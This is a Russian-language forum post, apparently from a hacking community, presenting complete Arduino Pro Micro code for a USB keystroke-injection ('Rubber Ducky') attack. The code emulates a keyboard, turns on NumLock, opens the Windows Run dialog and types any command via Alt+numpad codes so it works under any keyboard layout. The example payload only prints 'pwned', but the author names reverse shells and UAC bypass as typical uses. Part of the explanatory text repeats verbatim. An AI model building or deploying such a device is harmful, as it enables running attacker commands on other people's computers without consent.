Привет-привет, охото поделиться своей наработкой по такой теме как usb rubby duck. Для начала с теории.
Сам концепт атаки USB Rubby Duck заключается в эмулировании клавиатуры, в интернете есть куча простеньких PoC'ов
реверс шелл, обход уак (не путать с lpe), и тп. Я вам хочу представить в некотором смысле доработанную идею.
Мой код подерживает: любые раскладки клавиатуры, даже если на целевой машине нет английской раскладки, автоматическое включение NUMLOCK,
и вообще кодес прикольный вышел.
Полный код будет в конце статьи, а сейчас разберём его части.
При подключении нашей 'клавиатуры' к системе, последняя передаёт ей информацию о состоянии CapsLock, ScrollLock, NumLock, нам нужен последний,
мы проверяем включён ли он, и если нет, то посылаем сигнал о ключении, нам он понадобится дальше
Тут по стандарту, открываем Run меню
Последняя часть кода отвечает за ввод символов используя Alt+(ASCII код), там всё просто, получаем ascii код символа, раскладываем его на
составные числа, и так как мы получили их в обратном порядке, то и вводим в обратном, получается реверснули реверснутое)
Весь код, для компиляции нужна плата Arduino Pro Micro, рублей 200 стоит, и Arduino IDE, в ide не забываем установить библиотеку HID
Сам концепт атаки USB Rubby Duck заключается в эмулировании клавиатуры, в интернете есть куча простеньких PoC'ов
реверс шелл, обход уак (не путать с lpe), и тп. Я вам хочу представить в некотором смысле доработанную идею.
Мой код подерживает: любые раскладки клавиатуры, даже если на целевой машине нет английской раскладки, автоматическое включение NUMLOCK,
и вообще кодес прикольный вышел.
Полный код будет в конце статьи, а сейчас разберём его части.
При подключении нашей 'клавиатуры' к системе, последняя передаёт ей информацию о состоянии CapsLock, ScrollLock, NumLock, нам нужен последний,
мы проверяем включён ли он, и если нет, то посылаем сигнал о ключении, нам он понадобится дальше
C:
if (!(BootKeyboard.getLeds() & LED_NUM_LOCK)) BootKeyboard.write(KEY_NUM_LOCK);
delay(1500);
Тут по стандарту, открываем Run меню
C:
Keyboard.press(KEY_LEFT_GUI);
Keyboard.press('r');
Keyboard.releaseAll();
delay(2500);
Keyboard.write(KEY_BACKSPACE);
delay(500);
Последняя часть кода отвечает за ввод символов используя Alt+(ASCII код), там всё просто, получаем ascii код символа, раскладываем его на
составные числа, и так как мы получили их в обратном порядке, то и вводим в обратном, получается реверснули реверснутое)
C:
do {
int symbol = *command++;
while(symbol) {
_symbols[_count++] = symbol % 10;
symbol /= 10;
}
Keyboard.press(KEY_LEFT_ALT);
delay(15);
while(_count-- > 0){
write_numpad_digit(_symbols[_count]);
delay(5);
}
Keyboard.release(KEY_LEFT_ALT);
delay(5);
Keyboard.releaseAll();
_count = 0;
delay(5);
} while(*command != 0);
Весь код, для компиляции нужна плата Arduino Pro Micro, рублей 200 стоит, и Arduino IDE, в ide не забываем установить библиотеку HID
C:
#include "HID-Project.h"
#define PAYLOAD "cmd.exe /c echo pwned & pause"
void write_numpad_digit(int num){
switch (num) {
case 0: Keyboard.write(KEYPAD_0); break;
case 1: Keyboard.write(KEYPAD_1); break;
case 2: Keyboard.write(KEYPAD_2); break;
case 3: Keyboard.write(KEYPAD_3); break;
case 4: Keyboard.write(KEYPAD_4); break;
case 5: Keyboard.write(KEYPAD_5); break;
case 6: Keyboard.write(KEYPAD_6); break;
case 7: Keyboard.write(KEYPAD_7); break;
case 8: Keyboard.write(KEYPAD_8); break;
case 9: Keyboard.write(KEYPAD_9); break;
}
}
void setup() {
char* command = PAYLOAD;
BootKeyboard.begin();
delay(1300);
if (!(BootKeyboard.getLeds() & LED_NUM_LOCK)) BootKeyboard.write(KEY_NUM_LOCK); //enable numlock button
delay(1500);
Keyboard.press(KEY_LEFT_GUI);
Keyboard.press('r');
Keyboard.releaseAll();
delay(2500);
Keyboard.write(KEY_BACKSPACE);
delay(500);
int _count = 0;
int _symbols[5];
do {
int symbol = *command++;
while(symbol) {
_symbols[_count++] = symbol % 10;
symbol /= 10;
}
Keyboard.press(KEY_LEFT_ALT);
delay(15);
while(_count-- > 0){
write_numpad_digit(_symbols[_count]);
delay(5);
}
Keyboard.release(KEY_LEFT_ALT);
delay(5);
Keyboard.releaseAll();
_count = 0;
delay(5);
} while(*command != 0);
delay(50);
Keyboard.write(KEY_RETURN);
}
void loop() {
return;
}